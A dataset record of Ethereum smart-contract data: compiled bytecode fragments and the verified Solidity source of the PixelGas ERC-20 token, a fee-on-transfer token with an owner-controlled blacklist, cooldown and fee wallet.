ffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60035481565b6000610dfa82600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7890919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e85848484611b98565b600190509392505050565b600260009054906101000a900460ff1681565b610eab6115af565b610eb457600080fd5b600660149054906101000a900460ff16610ecd57600080fd5b6000600660146101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000610fa182600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7890919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ff982600354611b7890919063ffffffff16565b6003819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b61105e6115af565b61106757600080fd5b806000908051906020019061107d929190611f5a565b5050565b6110896115af565b61109257600080fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd16a7a4ba83c78a07676c543502e8155f633ecd3c35abb1da51bcbf129758b0f816000604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a150565b6000600660149054906101000a900460ff16905090565b60046020528060005260406000206000915090505481565b6111946115af565b61119d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60086020528060005260406000206000915090505481565b600042600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054119050919050565b600061131582600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7890919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113e782600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7890919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061147c82600354611b7890919063ffffffff16565b6003819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b6114e26115af565b6114eb57600080fd5b600660149054906101000a900460ff161561150557600080fd5b6001600660146101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b61160f6115af565b61161857600080fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fd54d19172fb86c7b0ec92bd53717c37c4e77dd87775bae11a52816120905a2fa816000604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117625780601f1061173757610100808354040283529160200191611762565b820191906000526020600020905b81548152906001019060200180831161174557829003601f168201915b505050505081565b6117726115af565b61177b57600080fd5b8060019080519060200190611791929190611f5a565b5050565b60006117a2338484611b98565b6001905092915050565b60076020528060005260406000206000915054906101000a900460ff1681565b6117d46115af565b6117dd57600080fd5b4281116117e957600080fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fd54d19172fb86c7b0ec92bd53717c37c4e77dd87775bae11a52816120905a2fa8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b6000808490506118ac8585610c71565b156119fb578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561198a57808201518184015260208101905061196f565b50505050905090810190601f1680156119b75780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156119d957600080fd5b505af11580156119ed573d6000803e3d6000fd5b5050505060019150506119fd565b505b9392505050565b6005602052816000526040600020602052806000526040600020600091509150505481565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611a876115af565b611a9057600080fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd16a7a4ba83c78a07676c543502e8155f633ecd3c35abb1da51bcbf129758b0f816001604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a150565b611b636115af565b611b6c57600080fd5b611b7581611e41565b50565b600082821115611b8757600080fd5b600082840390508091505092915050565b600660149054906101000a900460ff1615611bb257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bec57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c4357600080fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c9a57600080fd5b611ca383611276565b15611cad57600080fd5b611cff81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7890919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d9481600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f3b90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611e7b57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611f5057600080fd5b8091505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f9b57805160ff1916838001178555611fc9565b82800160010185558215611fc9579182015b82811115611fc8578251825591602001919060010190611fad565b5b509050611fd69190611fda565b5090565b611ffc91905b80821115611ff8576000816000905550600101611fe0565b5090565b9056fea265627a7a723158202d6d85ff984feac2ee0cd06ce47b25a4a4ee419f0aa5d94476c1e56d7c53198064736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 382 |
0x335556479360c4ce07fb2e8196bd6bb15149e048 | /**
*Submitted for verification at Etherscan.io on 2021-12-19
*/
/*
PixelGas
$PIXELGAS
website: https://pixelgas.net
PixelGas is a new ERC-20 Token with a very important mission, demystifying gas fees by helping you understand how the Ethereum network works. We want this to be our mission because we think that ETH is the future and as more and more people are joining the network they are going to need our help.
We want to foster a supportive community surrounding our ecosystem so everyone that uses our tools will feel welcome and appreciated, if you need help we will help you, if you if you need a specific tool we will create it for you.
We can't do this alone, to make this possible we require your input. We hope you can follow us through our journey.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PixelGas is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Pixel Gas";
string private constant _symbol = "PIXELGAS";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xB6C6e64835EB211F6C649a060E25B3182aAf346e);
_feeAddrWallet2 = payable(0xB6C6e64835EB211F6C649a060E25B3182aAf346e);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (3600 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1000000000000 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f4578063c3c8cd8014610314578063c9567bf914610329578063dd62ed3e1461033e578063ff8726021461038457600080fd5b8063715018a6146102665780638da5cb5b1461027b57806395d89b41146102a3578063a9059cbb146102d457600080fd5b8063273123b7116100dc578063273123b7146101d3578063313ce567146101f55780635932ead1146102115780636fc3eaec1461023157806370a082311461024657600080fd5b806306fdde0314610119578063095ea7b31461015d57806318160ddd1461018d57806323b872dd146101b357600080fd5b3661011457005b600080fd5b34801561012557600080fd5b50604080518082019091526009815268506978656c2047617360b81b60208201525b6040516101549190611816565b60405180910390f35b34801561016957600080fd5b5061017d6101783660046116b6565b610399565b6040519015158152602001610154565b34801561019957600080fd5b50683635c9adc5dea000005b604051908152602001610154565b3480156101bf57600080fd5b5061017d6101ce366004611675565b6103b0565b3480156101df57600080fd5b506101f36101ee366004611602565b610419565b005b34801561020157600080fd5b5060405160098152602001610154565b34801561021d57600080fd5b506101f361022c3660046117ae565b61046d565b34801561023d57600080fd5b506101f36104b5565b34801561025257600080fd5b506101a5610261366004611602565b6104e2565b34801561027257600080fd5b506101f3610504565b34801561028757600080fd5b506000546040516001600160a01b039091168152602001610154565b3480156102af57600080fd5b50604080518082019091526008815267504958454c47415360c01b6020820152610147565b3480156102e057600080fd5b5061017d6102ef3660046116b6565b610578565b34801561030057600080fd5b506101f361030f3660046116e2565b610585565b34801561032057600080fd5b506101f361061b565b34801561033557600080fd5b506101f3610651565b34801561034a57600080fd5b506101a561035936600461163c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561039057600080fd5b506101f3610a14565b60006103a6338484610a4d565b5060015b92915050565b60006103bd848484610b71565b61040f843361040a85604051806060016040528060288152602001611a02602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ebf565b610a4d565b5060019392505050565b6000546001600160a01b0316331461044c5760405162461bcd60e51b81526004016104439061186b565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104975760405162461bcd60e51b81526004016104439061186b565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104d557600080fd5b476104df81610ef9565b50565b6001600160a01b0381166000908152600260205260408120546103aa90610f7e565b6000546001600160a01b0316331461052e5760405162461bcd60e51b81526004016104439061186b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103a6338484610b71565b6000546001600160a01b031633146105af5760405162461bcd60e51b81526004016104439061186b565b60005b8151811015610617576001600660008484815181106105d3576105d36119b2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061060f81611981565b9150506105b2565b5050565b600c546001600160a01b0316336001600160a01b03161461063b57600080fd5b6000610646306104e2565b90506104df81611002565b6000546001600160a01b0316331461067b5760405162461bcd60e51b81526004016104439061186b565b600f54600160a01b900460ff16156106d55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610443565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107123082683635c9adc5dea00000610a4d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561074b57600080fd5b505afa15801561075f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610783919061161f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107cb57600080fd5b505afa1580156107df573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610803919061161f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561084b57600080fd5b505af115801561085f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610883919061161f565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108b3816104e2565b6000806108c86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561092b57600080fd5b505af115801561093f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061096491906117e8565b5050600f8054678ac7230489e8000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109dc57600080fd5b505af11580156109f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061791906117cb565b6000546001600160a01b03163314610a3e5760405162461bcd60e51b81526004016104439061186b565b683635c9adc5dea00000601055565b6001600160a01b038316610aaf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610443565b6001600160a01b038216610b105760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610443565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bd55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610443565b6001600160a01b038216610c375760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610443565b60008111610c995760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610443565b6002600a908155600b556000546001600160a01b03848116911614801590610ccf57506000546001600160a01b03838116911614155b15610eaf576001600160a01b03831660009081526006602052604090205460ff16158015610d1657506001600160a01b03821660009081526006602052604090205460ff16155b610d1f57600080fd5b600f546001600160a01b038481169116148015610d4a5750600e546001600160a01b03838116911614155b8015610d6f57506001600160a01b03821660009081526005602052604090205460ff16155b8015610d845750600f54600160b81b900460ff165b15610de257601054811115610d9857600080fd5b6001600160a01b0382166000908152600760205260409020544211610dbc57600080fd5b610dc842610e10611911565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610e0d5750600e546001600160a01b03848116911614155b8015610e3257506001600160a01b03831660009081526005602052604090205460ff16155b15610e42576002600a908155600b555b6000610e4d306104e2565b600f54909150600160a81b900460ff16158015610e785750600f546001600160a01b03858116911614155b8015610e8d5750600f54600160b01b900460ff165b15610ead57610e9b81611002565b478015610eab57610eab47610ef9565b505b505b610eba83838361118b565b505050565b60008184841115610ee35760405162461bcd60e51b81526004016104439190611816565b506000610ef0848661196a565b95945050505050565b600c546001600160a01b03166108fc610f13836002611196565b6040518115909202916000818181858888f19350505050158015610f3b573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f56836002611196565b6040518115909202916000818181858888f19350505050158015610617573d6000803e3d6000fd5b6000600854821115610fe55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610443565b6000610fef6111d8565b9050610ffb8382611196565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061104a5761104a6119b2565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561109e57600080fd5b505afa1580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d6919061161f565b816001815181106110e9576110e96119b2565b6001600160a01b039283166020918202929092010152600e5461110f9130911684610a4d565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111489085906000908690309042906004016118a0565b600060405180830381600087803b15801561116257600080fd5b505af1158015611176573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610eba8383836111fb565b6000610ffb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112f2565b60008060006111e5611320565b90925090506111f48282611196565b9250505090565b60008060008060008061120d87611362565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061123f90876113bf565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461126e9086611401565b6001600160a01b03891660009081526002602052604090205561129081611460565b61129a84836114aa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112df91815260200190565b60405180910390a3505050505050505050565b600081836113135760405162461bcd60e51b81526004016104439190611816565b506000610ef08486611929565b6008546000908190683635c9adc5dea0000061133c8282611196565b82101561135957505060085492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061137f8a600a54600b546114ce565b925092509250600061138f6111d8565b905060008060006113a28e878787611523565b919e509c509a509598509396509194505050505091939550919395565b6000610ffb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ebf565b60008061140e8385611911565b905083811015610ffb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610443565b600061146a6111d8565b905060006114788383611573565b306000908152600260205260409020549091506114959082611401565b30600090815260026020526040902055505050565b6008546114b790836113bf565b6008556009546114c79082611401565b6009555050565b60008080806114e860646114e28989611573565b90611196565b905060006114fb60646114e28a89611573565b905060006115138261150d8b866113bf565b906113bf565b9992985090965090945050505050565b60008080806115328886611573565b905060006115408887611573565b9050600061154e8888611573565b905060006115608261150d86866113bf565b939b939a50919850919650505050505050565b600082611582575060006103aa565b600061158e838561194b565b90508261159b8583611929565b14610ffb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610443565b80356115fd